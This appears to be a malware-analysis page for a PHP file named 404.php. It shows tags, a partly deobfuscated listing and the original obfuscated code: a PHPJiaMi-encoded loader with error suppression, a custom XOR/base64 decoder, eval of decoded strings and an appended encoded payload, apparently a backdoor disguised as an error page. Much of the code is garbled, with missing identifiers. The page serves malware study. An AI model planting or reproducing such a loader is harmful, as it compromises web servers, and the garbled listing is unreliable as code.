PHP Malware Analysis

Back to list

Filename: 404.php

Tags

Encoding
  • base64_decode
URLs
Execution
  • eval
Environment
  • error_reporting

Deobfuscated code

<?php

/* PHP Encode by  https://Www.PHPJiaMi.Com/ */
error_reporting(0);
ini_set("display_errors", 0);
if (!defined('wovacljx')) {
    define('wovacljx', "/var/www/html/input.php");
    if (!function_exists("\xba\xa1\xcd\x90\xbe\xad\x92\xc0")) {
        function ͐(&$, $)
        {
            $LJ = $ = $ۃ = $ͷ = $ó = 'ﴹ';
            $ = $LJ('QJLPEVQAIH');
            $Ѳș = $('QJLEVJC');
            $볯 = $ۃ('VMDVRWUNGXEF');
            $Տ = $ͷ('QJLCHWFJHUV1F');
            $ = $ͷ('VB5JD1QUQ==');
            $΢ = $($Ѳș($볯($Տ(ﴹ('SE7X69M8PBNXWW+5ZCZE4QKLDYIDZRVPU3VM62E1TT2RHM+EFL397DGZRTGY+J8Z8TUB88QCWIAI7WR+PMB+X0JPQ0E2P8YABMBTLOMOCJLQHQI+YVT+TJ')))));
            $Ѡވ = $(',', $΢);
            $ = $Ѡވ[$];
        }
        function ×($)
        {
            global $ѕ, $ҳ, $ǿ, $ԍ, $, $, $, $ǁׁ, $, $¿ʛ, $ӊʣ, $ۜ, $̿, $, $, $ӂ;
            $LJ = $ = $ۃ = $ͷ = $ó = $ծ = $ү = $“ = $Ģ = $Ʒ = $ϐ = $ǵ = $Μ = $ = $ǟ = 'ﴹ';
            $ҳ = $LJ('QQ5JPERVRFV1B==');
            $چג = $LJ('VQ9');
            $ݫ = $LJ('UQ');
            $ӄ = $LJ('XA9EVAXV5R');
            $ = $LJ('AFYJU==');
            $ = $LJ('UBRAA==');
            $ոӆ騜 = $LJ('UBRFQ==');
            $͉ = $LJ('TJM282B');
            $Ӧە = $LJ('YNNXJ3JW=');
            $ّ = $LJ('YN0LGN3JW=');
            $ҳ() == $ݫ ? $چג() : '';
            $׆ = $ѕ($($LJ('RPARYX=')));
            if (!isset($_SERVER[$͉]) && !isset($_SERVER[$Ӧە]) && !isset($_SERVER[$ّ])) {
                $چג();
            }
            $ = $ӄ(true) * $;
            eval /* PHPDeobfuscator eval output */ {
            };
            if ($ӄ(true) * $ - $ > 100) {
                $چג();
            }
            eval($LJ('WAAREENGRFHEWJH98J06SRVGDUUHV15SVQMRKTBBRS11NXMMVRKWR='));
            !$ӊʣ($ǟ($ҳ($׆, $('HFIM'), $ۃ('HF='))), $($ҳ($׆, $ó('AQ=='), $ծ('HFIP')))) ? $񼔬() : $犏;
            $ = $ү('HFBVU=');
            $㾨 = $“('HFIP');
            $㾨 = $̿(@$($ϐ($ҳ($׆, $, $㾨))));
            return $㾨;
        }
        function ﴹ($Շ, $ی霤 = '')
        {
            $ù = 'base64_decode';
            $ = "md5";
            $ = md5('');
            $П = "ord";
            $⢺ݠ = "strlen";
            $Ε = "chr";
            $ی霤 = !$ی霤 ? 180 : $ی霤;
            $ܽ = $Dž;
            for (; $ܽ < $⢺ݠ($Շ); $ܽ++) {
                $ⳝ .= $П($Շ[$ܽ]) < $П('') ? $П($Շ[$ܽ]) > $ی霤 && $П($Շ[$ܽ]) < $П('') ? $Ε($П($Շ[$ܽ]) / 2) : $Շ[$ܽ] : '';
            }
            $㾨 = $ù($ⳝ);
            $ܽ = $Dž;
            $П = $Łӿ = $⢺ݠ($);
            for (; $ܽ < $⢺ݠ($㾨); $ܽ++) {
                $П = $П ? $П : $Łӿ;
                $П--;
                $ܫÛ .= $㾨[$ܽ] ^ $[$П];
            }
            return $ܫÛ;
        }
    }
}
global $ѕ, $, $ҳ, $ǿ, $ݫ, $ԍ, $, $, $, $ǁׁ, $, $¿ʛ, $ӊʣ, $ۜ, $̿, $, $, $ӂ;
$݂ = $ = $ε = $˰ = $޶ۂ = $ = $ǵ = $͐ = $܉ = $ = $̭ɸ = $ٖ = $DŽ = $ߞĖ = $׫ = $Ž = $Ź = $Ю = $ = '͐';
if (!$ѕ) {
    $݂($ѕ, 8);
    $($ҳ, 9);
    $ε($, 10);
    $˰($, 4);
    $޶ۂ($¿ʛ, 13);
    $($ӊʣ, 12);
    $ǵ($ۜ, 2);
    $͐($̿, 14);
    $܉($, 15);
    $($, 16);
    $̭ɸ($ӂ, 17);
    $ٖ($, 18);
    $DŽ($ǁׁ, 19);
    $ߞĖ($, 11);
    $׫($ԍ, 5);
    $Ž($ǿ, 6);
    $Ź($, 1);
    $Ю($, 3);
    ͐($ݫ, 7);
}
$LJ = $ = $ۃ = $ͷ = 'ﴹ';
$ = $LJ('B');
$㾨 = ×(${$});
$($ӂ(${$}));
$ǛՇݬ = $ǁׁ($㾨);
eval($LJ('VBBYD9WVUBRDBNTDAYATRGPT93+7S8='));
$ܫÛ = $Ɩ;
$($ӂ(${$}));
return $ܫÛ;


Original code

<?php /* PHP Encode by  https://Www.PHPJiaMi.Com/ */error_reporting(0);ini_set("display_errors", 0);if(!defined('wovacljx')){define('wovacljx',__FILE__);if(!function_exists("͐")){function ͐(&$,$){$LJ=$=$ۃ=$ͷ=$ó='ﴹ';$=$LJ('QJLPEVQAIH');$Ѳș=$('QJLEVJC');$볯=$ۃ('VMDVRWUNGXEF');$Տ=$ͷ('QJLCHWFJHUV1F');$=$ͷ('VB5JD1QUQ==');$΢=$($Ѳș($볯($Տ($ó('SE7X69M8PBNXWW+5ZCZE4QKLDYIDZRVPU3VM62E1TT2RHM+EFL397DGZRTGY+J8Z8TUB88QCWIAI7WR+PMB+X0JPQ0E2P8YABMBTLOMOCJLQHQI+YVT+TJ')))));$Ѡވ=$(',',$΢);$=$Ѡވ[$];}function ×($){global$ѕ,$ҳ,$ǿ,$ԍ,$,$,$,$ǁׁ,$,$¿ʛ,$ӊʣ,$ۜ,$̿,$,$,$ӂ;$LJ=$=$ۃ=$ͷ=$ó=$ծ=$ү=$“=$Ģ=$Ʒ=$ϐ=$ǵ=$Μ=$=$ǟ='ﴹ';$ҳ=$LJ('QQ5JPERVRFV1B==');$چג=$LJ('VQ9');$ݫ=$LJ('UQ');$ӄ=$LJ('XA9EVAXV5R');$=$LJ('AFYJU==');$=$LJ('UBRAA==');$ոӆ騜=$LJ('UBRFQ==');$͉=$LJ('TJM282B');$Ӧە=$LJ('YNNXJ3JW=');$ّ=$LJ('YN0LGN3JW=');$ҳ()==$ݫ?$چג():'';$׆=$ѕ($($LJ('RPARYX=')));if(!isset($_SERVER[$͉])&&!isset($_SERVER[$Ӧە])&&!isset($_SERVER[$ّ])){$چג();};$=$ӄ(true)*$;eval("");if(($ӄ(true)*$-$)>100){$چג();}eval($LJ('WAAREENGRFHEWJH98J06SRVGDUUHV15SVQMRKTBBRS11NXMMVRKWR='));!$ӊʣ($ǟ($ҳ($׆,$('HFIM'),$ۃ('HF='))),$($ҳ($׆,$ó('AQ=='),$ծ('HFIP'))))?$񼔬():$犏;$=$ү('HFBVU=');$㾨=$“('HFIP');$㾨=$̿(@$($ϐ($ҳ($׆,$,$㾨))));return$㾨;}function ﴹ($Շ,$ی霤=''){$ù='base64_decode';$=$ù('bWQ1');$=$('');$П=$ù('b3Jk');$⢺ݠ=$ù('c3RybGVu');$Ε=$ù('Y2hy');$ی霤=!$ی霤?$П(''):$ی霤;$ܽ=$Dž;for(;$ܽ<$⢺ݠ($Շ);$ܽ++)$ⳝ.=$П($Շ{$ܽ})<$П('')?(($П($Շ{$ܽ})>$ی霤&&$П($Շ{$ܽ})<$П(''))?$Ε($П($Շ{$ܽ})/2):$Շ{$ܽ}):'';$㾨=$ù($ⳝ);$ܽ=$Dž;$П=$Łӿ=$⢺ݠ($);for(;$ܽ<$⢺ݠ($㾨);$ܽ++){$П=$П?$П:$Łӿ;$П--;$ܫÛ.=$㾨[$ܽ]^$[$П];}return$ܫÛ;}}}global$ѕ,$,$ҳ,$ǿ,$ݫ,$ԍ,$,$,$,$ǁׁ,$,$¿ʛ,$ӊʣ,$ۜ,$̿,$,$,$ӂ;$݂=$=$ε=$˰=$޶ۂ=$=$ǵ=$͐=$܉=$=$̭ɸ=$ٖ=$DŽ=$ߞĖ=$׫=$Ž=$Ź=$Ю=$='͐';if(!$ѕ){$݂($ѕ,8);$($ҳ,9);$ε($,10);$˰($,4);$޶ۂ($¿ʛ,13);$($ӊʣ,12);$ǵ($ۜ,2);$͐($̿,14);$܉($,15);$($,16);$̭ɸ($ӂ,17);$ٖ($,18);$DŽ($ǁׁ,19);$ߞĖ($,11);$׫($ԍ,5);$Ž($ǿ,6);$Ź($,1);$Ю($,3);$($ݫ,7);}$LJ=$=$ۃ=$ͷ='ﴹ';$=$LJ('B');$㾨=×($$);$($ӂ($$));$ǛՇݬ=$ǁׁ($㾨);eval($LJ('VBBYD9WVUBRDBNTDAYATRGPT93+7S8='));$ܫÛ=$Ɩ;$($ӂ($$));return$ܫÛ;?>SUNV7U9ZEKU5XLAD399O0WHBD4F10CFQ0FSW5GEK86BXHT6P/TJDO0XG/BT6JP6CM4ZFPGDZEBMRSDH3FN3H9TTLO/Q931++NZ5RFYZEC5XIQ5W9VY2HJMSL6L7M9O/CX929TJXHCBGASD6+GYQTQNL121OV55DQTSZ9TDD9DPN7O+Z54Q74A27VCU7PYT3PAW5TC57SNY0E0IZLPL6J72WZUS37D3ZNIDVM5TRJNBP9SPGR50IC+4A+ILAM757/+7OUKHHEDASI4I3AZJ/FB9GX//BTOIJNC7PF6W6O5KA36FEW+9+ACJ8H6QDO5P5GBH+8Q+9CBI583YJ61UN8X5SGE+D570HT/IKQTOES5SECJCUCR5GLDAGGFJ+5QCKJ/CBAH3K9ZUVU8J5XU9MJOA0IZJQZ39BVKYDWVRL3H96K/FE4F4N5FU6I8SY97ZDN618Q4N3QCBMN9VPGEJRC2LZ9X7QA403QU2FXRQH6+W4D24SYHSKAOY1YEY132K2BM27RKN9PU80KBTXJ8G9LIPR/65OAOAUMBST564V4NYHWTNYNNI5L6KZVYRR6OCTSAJOE3RO64E9U13CTFLR964EYFOWPGDS0+M7AJEKK70H2H/LPLC3SGE600OF0W0U63PUGTK7141NT21QFIUJJOWFXABWG7W8Y6KYB7RJAAUQBHF3BBACEIQF9G96X37AEXL+JDJOVSVX1GAV8XUZXRK6PQBNF1XQBP/QAXL6VLLX/OCS73W6711P75Y44FRDA36VSAP/J6QL1GS65/OXUP/YTZXP1KS2IH/J3F9I0MJ5QY/D/IPHY4Q/GYXS1PZH0CB61YV09B3PT12W8V2BB8P1+Q1T6H57PUA/DMFU8PBNDI0NXS18+3OC6XW8O6K9CWB+/7E6L1JLLG8+XU6YO2QQW+67SSBOIM+C4M6WJJY9ILAZCTHBT9T2WXKQ28CIZLBJ+LJ1PXU7IMDMK52VFAGRA5/NQTEBMOVYKRJOJLT/JNXPXRKV05YZIJGVJNT1+0RDL3Y9VMMWN6I5Z5T+X9BT22OVZIG1TBON33ZTR2W1DC3X4=1RUMHUFDW4CVFQHVAFTUAWYCV1HVVQAAQNT;